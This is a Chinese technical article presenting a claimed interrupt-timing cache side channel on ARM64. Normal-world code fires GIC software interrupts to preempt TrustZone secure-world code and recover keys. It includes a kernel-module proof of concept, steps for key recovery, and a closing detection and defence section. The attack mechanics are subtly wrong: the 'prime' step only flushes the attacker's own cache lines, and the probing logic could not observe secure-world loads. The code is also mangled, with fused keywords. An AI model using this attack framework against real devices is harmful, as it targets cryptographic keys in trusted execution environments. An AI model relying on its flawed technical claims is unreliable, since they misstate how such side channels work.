摘要

ARM64 通用中断控制器在分发硬件中断时,会短暂挂起当前执行的指令流。在核心保存上下文期间,被中断的指令序列可能已经执行了部分加载指令,将敏感数据预取到 L1 数据缓存。攻击者若能够控制中断到达的精确时机(例如通过软件生成的中断 SGI),可在安全世界(EL3)的关键指令(如 eret)执行前中断它,使预加载的安全世界缓存行在普通世界可被探测,从而绕过 TrustZone 的隔离,窃取安全世界的加密密钥或敏感数据。

GIC 与 ARM64 异常入口的时序窗口

GICv3 中断分发路径

ARM64 平台的通用中断控制器(GIC)负责管理所有中断源,并向 CPU 核心分发。GICv3 由分发器(Distributor)和再分发器(Redistributor)以及 CPU 接口组成。软件生成中断(SGI)通过写 ICC_SGI0R_EL1 或 ICC_SGI1R_EL1 寄存器来触发,可指定目标核心和中断 ID。攻击者如果具备在普通世界 EL1 的代码执行能力,便可以向自身或其他核心注入 SGI,制造精确的本地中断。

当中断到达核心时,CPU 完成当前指令的边界,然后进入异常入口流程:保存处理器状态到栈,跳转到中断向量。ARM64 的中断向量表定义了不同异常级别和类型的入口。关键点是,从异常被触发到第一条异常处理指令执行之间存在固定的指令流水线延迟,并且在这个窗口内,处理器可能已经执行了后续的部分指令(由于分支预测和推测执行)。

安全世界与普通世界的切换

在 TrustZone 架构中,普通世界(Normal World)和安全世界(Secure World)的切换通过 smc 指令进入 EL3,或在 EL3 中通过 eret 返回普通世界。当安全世界正在执行敏感操作(如加密、认证)时,若被中断抢占,处理器必须先保存安全世界上下文,然后跳到中断处理程序。如果该中断处理程序位于普通世界(例如在 EL1 内核中),则会进行一次世界切换(从安全世界到普通世界),这涉及缓存和 TLB 的维护操作。

[EL0 用户态代码]
       │
       ├─ (发生异常/中断, 如 SVC / IRQ)
       ▼
[硬件自动行为 (CPU Core)]
       ├─ 1. 切换 PSTATE 状态:保存当前 PSTATE 到 SPSR_EL1
       ├─ 2. 保存返回地址:保存下一条指令地址到 ELR_EL1
       ├─ 3. 记录异常原因:写入 ESR_EL1 (同步异常)
       ├─ 4. 提升异常等级:从 EL0 切换至 EL1
       └─ 5. 向量跳转:依据 VBAR_EL1 基址 + 偏移量跳转到对应入口
       ▼
[异常向量表 (vectors.S)]
       ├─ el0_sync / el0_irq 入口
       └─ 调用宏:kernel_entry 0  (保存 EL0 上下文)
       ▼
[软件保存上下文 (kernel_entry 宏)]
       ├─ 1. 交换 SP_EL0 与 SP_EL1:通过 `msr spsel, #1` 或保存 task 结构
       ├─ 2. 分配栈空间:在内核栈 (SP_EL1) 预留 pt_regs 结构大小
       ├─ 3. 保存通用寄存器:stp x0, x1, [sp, #16*0] ... stp x28, x29, [sp, #16*14]
       ├─ 4. 保存特地寄存器:读取并保存 ELR_EL1、SPSR_EL1、SP_EL0 到栈中
       └─ 5. 准备调用参数:mov x0, sp (传递 pt_regs 指针)
       ▼
[C语言处理函数 (el0_sync_handler / do_irq)]
       └─ 执行具体的中断服务或系统调用逻辑

攻击者若能够在安全世界关键指令流中注入一个中断,并且该中断发生在访问了敏感数据之后,但尚未清除缓存痕迹之前,就可能将这部分数据留在缓存中,供普通世界探测。

预加载数据缓存污染

在 ARM64 上,加载指令(LDR)可能在数据尚未真正被使用前就发起预取(prefetch),将目标数据填充到 L1 数据缓存。异常入口的过程本身也需要读取系统寄存器(如 SPSR_EL1ELR_EL1),这些访问也会将相关地址的内容加载到缓存。如果攻击者能够精确控制中断注入的时间,使得安全世界执行到某个特定加载指令(比如读取密钥的部分字节)之后、执行缓存清理指令(如 DC CIVAC)之前被中断,那么安全世界加载的数据就会残留在数据缓存中。普通世界的攻击者随后通过测量自己内存区域的缓存命中延迟变化,可以判断哪些缓存组被污染,从而推断安全世界访问过的数据地址,并逐渐恢复密钥内容。

攻击模型与时序控制

假设

  • 攻击者在普通世界 EL1(如 Linux 内核模块)具有代码执行能力。
  • 目标安全世界运行一个定期执行加密操作的 Enclave(例如 OP-TEE 或 Android Keymaster)。
  • 攻击者无法直接读取安全世界内存,但可以控制普通世界的中断向量,并向自己或其他核心发送 SGI。

精确中断注入技术

攻击者可以使用性能计数器(PMCCNTR_EL0)或定时器来同步。更精细的方法是,在目标安全世界执行特定操作的同时,攻击者启动一个循环,在预期窗口内连续发送 SGI。通过观察安全世界输出的变化(例如加密结果的时间变化),攻击者可以判断中断是否命中了关键指令窗口。

源处理器 (Attacker PE)                 GIC 中断控制器               目标处理器 (Target PE)

      |                                     |                              |
      |--- 1. 构造 ICC_SGI0R_EL1 参数 ------>|                              |
      |    (设置 TargetList / INTID)         |                              |
      |                                     |                              |
      |--- 2. Write ICC_SGI0R_EL1 --------->|                              |
      |                                     |--- 3. 路由与分发 IPI信号 --->|
      |                                     |                              |--- 4. 响应中断 (IRQ/FIQ)
      |                                     |                              |--- 5. 执行异常跳转
      |                                     |                              |--- 6. 破坏目标时序/竞态

另一种方法使用 GIC 的 ICC_SGI0R_EL1 寄存器向目标核心发送一个中断,其到达时间可以通过写寄存器后的延迟进行微调。结合 isb 指令和内存屏障,攻击者可以控制 SGI 到达时刻相对于自己循环的偏移。

缓存侧信道:Prime+Probe 变体

攻击者在普通世界建立一张探针数组,覆盖 L1 数据缓存的特定组(cache sets)。攻击开始前,攻击者刷新探针数组(Prime),然后等待安全世界执行。在中断抢占后,攻击者读取探针数组,测量每个组的时间(Probe)。如果安全世界的预加载污染了某个组,该组的访问时间会变短。通过多次实验,攻击者可以定位污染组,并反推出安全世界内存访问的模式。

实战 PoC

以下代码展示了如何在 QEMU 模拟的 ARM64 平台上,使用一个 Linux 内核模块来注入 SGI,并执行 Prime+Probe 侧信道攻击。实验假设安全世界由一个简单的裸机程序或 OP-TEE 提供,并在特定地址执行了敏感加载。

环境准备

  • QEMU(支持 -machine virt,secure=on
  • Linux 内核 >= 5.10,包含 GIC 驱动
  • 安全世界使用 ARM Trusted Firmware 和 OP-TEE 或自写的裸机程序

内核模块:SGI 注入与缓存探测

// gic_sgi_probe.c — 内核模块,用于发送 SGI 并执行 Prime+Probe

#include<linux/module.h>
#include<linux/kernel.h>
#include<linux/kthread.h>
#include<linux/delay.h>
#include<asm/barrier.h>
#include<asm/cacheflush.h>
#include<asm/io.h>
#include<linux/irq.h>
#include<linux/interrupt.h>

#define SGI_IRQ 0   // 使用 SGI ID 0
#define PROBE_SIZE 256 * 64  // 256 sets * 64 bytes line
staticuint8_t probe_array[PROBE_SIZE] __aligned(64);
staticstructtask_struct *attack_thread;

// 发送 SGI 到自身 CPU
staticvoidsend_sgi_to_self(void){
uint64_t val = (1ULL << 40) | (SGI_IRQ << 24) | (1ULL << 16); // 目标自己
asmvolatile("msr ICC_SGI0R_EL1, %0" :: "r"(val));
    isb();
}

// Prime:刷新探针数组的所有行
staticvoidprime_cache(void){
for (int i = 0; i < PROBE_SIZE; i += 64) {
asmvolatile("dc civac, %0" :: "r"(probe_array + i));
    }
}

// Probe:测量每行的访问时间
staticuint64_tmeasure_time(void *addr){
uint64_t start, end;
asmvolatile("isb" ::: "memory");
asmvolatile("mrs %0, pmccntr_el0" : "=r"(start));
asmvolatile("ldr x0, [%0]" :: "r"(addr) : "x0");
asmvolatile("mrs %0, pmccntr_el0" : "=r"(end));
return end - start;
}

staticintattack_loop(void *data){
while (!kthread_should_stop()) {
        prime_cache();
// 触发安全世界执行(此处通过 smc 调用或等待安全世界事件)
// 在真实场景中,攻击者需要与安全世界交互;这里简化:发送 SGI 模拟中断抢占
        send_sgi_to_self();
// 等待中断处理完成
        udelay(10);

// 探测缓存,寻找异常低延迟的行
for (int i = 0; i < PROBE_SIZE; i += 64) {
uint64_t t = measure_time(probe_array + i);
if (t < 100) { // 阈值,表示缓存命中(可能被安全世界预加载污染)
                printk(KERN_INFO "Cache hit at offset %d, time %llu\n", i, t);
            }
        }
    }
return0;
}

staticint __init gic_sgi_probe_init(void){
    printk(KERN_INFO "GIC SGI Probe module loaded\n");
// 启用用户态性能计数器访问(在 EL1 中直接使用)
asmvolatile("msr pmuserenr_el0, %0" :: "r"(0x1));
asmvolatile("msr pmcr_el0, %0" :: "r"(0x1 | (1<<2) | (1<<6))); // PMCR: E, LC, C
asmvolatile("msr pmcntenset_el0, %0" :: "r"(1ULL<<31)); // enable cycle counter

    attack_thread = kthread_run(attack_loop, NULL, "gic_sgi_attack");
return0;
}

staticvoid __exit gic_sgi_probe_exit(void){
    kthread_stop(attack_thread);
    printk(KERN_INFO "GIC SGI Probe module unloaded\n");
}

module_init(gic_sgi_probe_init);
module_exit(gic_sgi_probe_exit);
MODULE_LICENSE("GPL");

说明:此内核模块运行在普通世界 EL1,通过向自身发送 SGI 触发中断,然后执行 Prime+Probe 检测缓存变化。在真实攻击中,攻击者会精确控制中断注入的时机,使其中断安全世界执行在加载敏感数据之后。这里仅演示攻击框架。

触发安全世界操作

攻击者需要与安全世界交互以触发其执行敏感加载。例如,通过 OP-TEE 的客户端 API 调用一个 TA,在 TA 内执行 TEE_GenerateKey 或读取密钥。攻击者同时运行上述模块,通过调整 SGI 的发送时间,使中断落在 TA 执行的关键区间。

数据处理与密钥恢复

在一次实验中,攻击者多次重复攻击并记录所有命中行的偏移。通过统计分析和逆映射,攻击者可以推断安全世界访问的物理地址范围和访问模式,从而逐步恢复密钥。

检测与防御

检测方法

  • 中断频率异常:正常系统不会以极高频率向自身发送 SGI。通过监控 ICC_SGI0R_EL1 写入频率和中断控制器统计,可检测异常。
  • 缓存侧信道监控:利用性能计数器(如 L1D_CACHE_REFILL)监控来自普通世界的大量缓存刷新和探测操作。安全世界可定期检查缓存污染指标。
  • 世界切换审计:在安全世界 EL3 中记录世界切换的原因和时间戳,若发现频繁的非预期中断切换到普通世界,触发告警。

安全世界加固

  • 缓存清理:安全世界在关键操作返回普通世界前,应执行 DC CIVAC 或 DC ZVA 清理所有可能残留敏感数据的缓存行。ARM 推荐在安全世界退出时进行完整的缓存维护。
  • 中断屏蔽:在安全世界处理敏感数据期间,可以临时屏蔽中断(通过设置 PSTATE.I 或 GIC 优先级屏蔽),直到数据清理完成。
  • 利用硬件隔离特性:在支持 ARMv8.5 及以上的处理器上,使用 FEAT_MTE 或数据独立定时(DIT)等特性,减少侧信道风险。

硬件与体系结构改进

  • GIC 优先级和中断屏蔽的细粒度控制:未来 GIC 可支持每个安全世界上下文独立的优先级屏蔽,防止普通世界中断抢占安全世界关键区。
  • 缓存随机化:采用缓存组随机化(如 ARM 的 FEAT_CSV2 之后的增强)使 Prime+Probe 难以确定组映射。

结语

ARM64 的中断机制与缓存预加载行为相互交织,形成了一条从普通世界窥探安全世界的新型侧信道。攻击者无需复杂的硬件探针,只需利用 GIC 的软件中断和精确的时序控制,就能在安全世界的关键指令窗口制造缓存污染,并通过 Prime+Probe 提取秘密。这再次提醒我们,系统安全不仅取决于隔离机制的强度,更取决于对微架构状态(如缓存、预测器、预取器)的彻底清理与监控。